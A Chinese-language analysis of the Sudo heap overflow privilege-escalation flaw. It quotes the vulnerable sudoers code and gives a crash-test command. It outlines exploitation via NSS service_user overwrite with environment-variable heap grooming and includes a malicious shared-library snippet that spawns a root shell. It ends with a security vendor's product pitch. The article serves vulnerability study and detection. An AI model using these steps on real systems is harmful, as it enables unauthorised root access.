6分钟带你剖析 Linux Sudo 高危提权漏洞的研究利用
1漏洞基本信息
1.1 漏洞简介
当 Sudo 通过 -s 或 -i 命令选项在 Shell 模式下运行命令时,它会将命令参数中的特殊字符使用反斜杠来转义。但使用 -s 或 -i 命令运行 sudoedit 命令的时候,没有对特殊字符进行正确处理,从而可能导致缓冲区溢出。攻击者可以利用此漏洞从本地普通用户权限提权到系统 root 权限。
1.2 漏洞影响
- 漏洞类型: 本地提权
- 漏洞影响范围:1.8.2 到 1.8.31p2 和 1.9.0 到 1.9.5p1 Sudo版本
- 漏洞等级: 高危
1.3 漏洞验证
终端输入 POC 进行检查:sudoedit -s '\' `perl -e 'print "A" x 65536'`
若出现 malloc 或段错误等崩溃,则可能存在漏洞。
2漏洞详情分析
2.1 漏洞成因
漏洞主要存在于 plugins/sudoers/sudoers.c 文件的 set_cmnd() 函数中。
... /* set user_args */ if (NewArgc > 1) { char *to,*from,**av;size_t size,n;/* Alloc and build up user_args. */ for (size = 0,av = NewArgv + 1;*av;av++) size += strlen(*av) + 1;if (size == 0 || (user_args = malloc(size)) == NULL) { sudo_warnx(U_("%s:%s"),__func__,U_("unable to allocate memory"));debug_return_int(-1);} if (ISSET(sudo_mode,MODE_SHELL|MODE_LOGIN_SHELL)) { /* * When running a command via a shell,the sudo front-end * escapes potential meta chars. We unescape non-spaces * for sudoers matching and logging purposes. */ for (to = user_args,av = NewArgv + 1;(from = *av);av++) { // from指向命令参数 while (*from) { if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++;*to++ = *from++;// 将命令行参数拷贝到user_args堆空间 } *to++ = ' ';} *--to = '\0';} else { for (to = user_args,av = NewArgv + 1;*av;av++) { n = strlcpy(to,*av,size - (to - user_args));if (n >= size - (to - user_args)) { sudo_warnx(U_("internal error,%s overflow"),__func__);debug_return_int(-1);} to += n;*to++ = ' ';} *--to = '\0';} }...
这里的问题在于如果 from[0] 是反斜杠,而 from[1] 是 null 结束符(非空格),此时满足 from[0] == '\\' && !isspace((unsigned char)from[1]),所以此时 from 会加1,指向 null 结束符;null 结束符被拷贝到 user_args 堆缓冲区, from 再次加1,from 指向了 null 结束符后面第1个字符(即下一个命令参数);随后会继续循环将越界字符拷贝到 user_args 堆缓冲区中去,此时就会发生堆溢出漏洞。
我们设置命令行参数为 sudoedit -s '\' 1234567890,通过 gdb 来调试跟踪一下,此时我们的参数是这样的:
此时 malloc 的大小应该是 strlen('\\/x00') + strlen('1234567890\x00') =13,然后根据堆内存对齐,申请的堆的大小应该是0x10+0x10=0x20(算上堆头)。
当来到数据拷贝的时候,第一个参数是'\',根据代码会把'\'后面的参数也拷贝进去,因为 from[0] 为'\',而且 from[1] 不是空格(而是 null )就会 from++,而 from[2] 的内容就是下一个参数了,这就相当于'\'后面的参数被拷贝了两次,造成了堆溢出。
最终拷贝到堆的内容为:
很明显"1234567890"参数被拷贝了两次,所以这个数据的长度和内容是我们可以控制的,如果这个参数长度足够长,那么我们就可以覆盖到堆后面的结构。
2.2 利用方法简介
我们知道在常规的堆栈溢出的漏洞中如果我们需要写一些通用的 EXP 就必须要绕过系统的某些安全保护,最常见的保护就是 ASLR (地址随机化),这就可能需要程序有多次与我们交互的地方。但是在这个漏洞当中我们可以交互的地方似乎只有一次,没有办法去泄露程序的地址等,所以常规的利用技巧在这里可能不是那么实用,我们就需要一些其他技巧,这个漏洞的其中一种利用技巧是覆盖 service_user 结构体。
typedef struct service_user{ /* And the link to the next entry. */ struct service_user *next; /* Action according to result. */ lookup_actions actions[5]; /* Link to the underlying library object. */ service_library *library; /* Collection of known functions. */ void *known; /* Name of the service (`files',`dns',`nis',...). */ char name[0];} service_user
service_user 结构体中的 name 指定了要动态加载的动态链接库,如果我们能够修改 service_user->name 的值,那么我们就能通过 nss_load_library() 函数加载任意我们伪造的动态链接库。
nss_load_library() 函数:
static int nss_load_library (service_user *ni){if (ni->library == NULL) {static name_database default_table;ni->library = nss_new_service (service_table ?:&default_table, // (1)设置 ni->library ni->name);if (ni->library == NULL)return -1;}if (ni->library->lib_handle == NULL) {/* Load the shared library. */ size_t shlen = (7 + strlen (ni->name) + 3 + strlen (__nss_shlib_revision) + 1);int saved_errno = errno;char shlib_name[shlen];/* Construct shared object name. */ __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, // (2)伪造的库文件名必须是 libnss_xxx.so"libnss_"), ni->name),".so"), __nss_shlib_revision);ni->library->lib_handle = __libc_dlopen (shlib_name);// (3)加载目标库 …
nss_load_library 作用是载入 .so 文件,nss_load_library(),需要满足 ni->library != NULL 和 ni->library->lib_handle == NULL 才能加载新库,也就是我们需要将 ni->library 覆盖为 NULL,将 ni->name 覆盖我们自己伪造的库名字,且伪造的库文件名必须是 libnss_xxx.so。
因为我们只有一个堆溢出的漏洞,无法泄露出来基地址等信息,所以根据 Linux 的堆分配的机制,我们在 service_user 结构体的前面释放一个堆块,然后让分配的 user_args 分配到这块堆块,之后再使用堆溢出覆盖到 service_user 结构体。
2.3 堆分配
我们的想法是去覆盖 ni->library 和 ni->name,所以问题的关键是如何通过 user_args 溢出到 service_user 结构,而且 user_args 的位置必须位于 service_user 之前,并且两者的偏移不能太大,否则可能会覆盖到其他数据结构导致利用失败。
Sudo 在开始的时候会调用 setlocale 函数来读取环境变量中的参数来对程序本地化进行设置,这时候会为环境变量分配和释放相应的堆块到 tcache 堆和 fastbin 堆中去,在堆区域初始位置就会产生一些空洞。
int main(int argc,char *argv[],char *envp[]){… setlocale(LC_ALL,""); bindtextdomain(PACKAGE_NAME,LOCALEDIR); textdomain(PACKAGE_NAME);…}
从 setlocale 函数到分配 user_args 的过程中还会有很多堆的分配和释放的操作,我们不能精准的控制堆的分配,可以通过控制传递给 setlocale 的环境变量来控制 user_args 分配之前的堆布局。但是具体的控制关系是不确定的,如果要找到这些堆的分配关系我们可以通过 fuzz 等方法来进行测试,基本的设置如下可以寻找在初始化 service_table 之前在 bins 中存放一个 size 大小的 chunk 用于占位。
char *LC = calloc(0x3000,1); strcpy(LC,"LC_ALL=C.UTF-8@");memset(LC+15,'C',size);envp[envp_pos++] = LC;
当找到了合适的堆之后就可以对 service_table 结构进行覆盖了,然后我们在伪造的 so 文件当中写入提权代码那么我们就可以得到 root 权限的 shell 了。
#include #include #include #include static void __attribute__ ((constructor)) _init(void); static void _init(void) {#ifndef BRUTEsetuid(0);seteuid(0);setgid(0);setegid(0); static char *a_argv[] = { "sh",NULL }; static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin",NULL }; execv("/bin/sh",a_argv);#endif}
2.4 总结
目前仍然有很多 Linux 系统上面还在使用存在此漏洞的 Sudo 程序,及时的将程序更新到最新版本可以降低系统被提权的风险。
微步在线主机威胁检测与响应平台 OneEDR 通过轻量级的终端 Agent
收集终端的进程、网络、文件等系统行为日志,在服务端利用威胁情报,文件检测引擎与全攻击链路行为分析等技术手段,实现对主机入侵的精准发现、自动化告警关联、攻击链路可视化展示与高效溯源、入侵事件响应及阻断等功能,同时支持对终端海量行为日志进行灵活检索。
OneEDR 支持对这种主机提权方式的检测,了解更多 OneEDR 信息可访问:https://threatbook.cn/prod/oneedr。
